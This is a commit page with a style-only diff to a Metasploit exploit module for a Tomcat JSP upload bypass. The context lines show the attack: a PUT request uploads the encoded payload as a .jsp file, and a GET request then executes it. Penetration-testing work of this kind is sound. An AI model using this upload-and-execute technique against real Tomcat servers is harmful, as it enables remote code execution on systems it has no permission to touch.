Skip to content

Commit 9885dc0

Browse files
committed
updates for style
1 parent 1786634 commit 9885dc0

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

modules/exploits/multi/http/tomcat_jsp_upload_bypass.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -70,7 +70,7 @@ def check
7070
'method' => 'GET'
7171
})
7272

73-
if res1 and res1.body.include?(testcontent)
73+
if res1 && res1.body.include?(testcontent)
7474
res2 = send_request_cgi(
7575
opts = {
7676
'uri' => normalize_uri(target_uri,"#{testurl}.jsp/"),
@@ -94,15 +94,15 @@ def exploit
9494
'method' => 'PUT',
9595
'data' => "#{payload.encoded}"
9696
})
97-
if res and res.code == 201
97+
if res && res.code == 201
9898
res1 = send_request_cgi({
9999
'uri' => normalize_uri(target_uri,"#{testurl}.jsp"),
100100
'method' => 'GET'
101101
})
102-
if res1 and res1.code == 200
102+
if res1 && res1.code == 200
103103
print_status("Payload executed!")
104104
else
105-
fail_with(Failure::Unknown, "Failed to execute the payload")
105+
fail_with(Failure::PayloadFailed, "Failed to execute the payload")
106106
end
107107
else
108108
fail_with(Failure::Unknown, "Failed to upload the payload")

0 commit comments

Comments
 (0)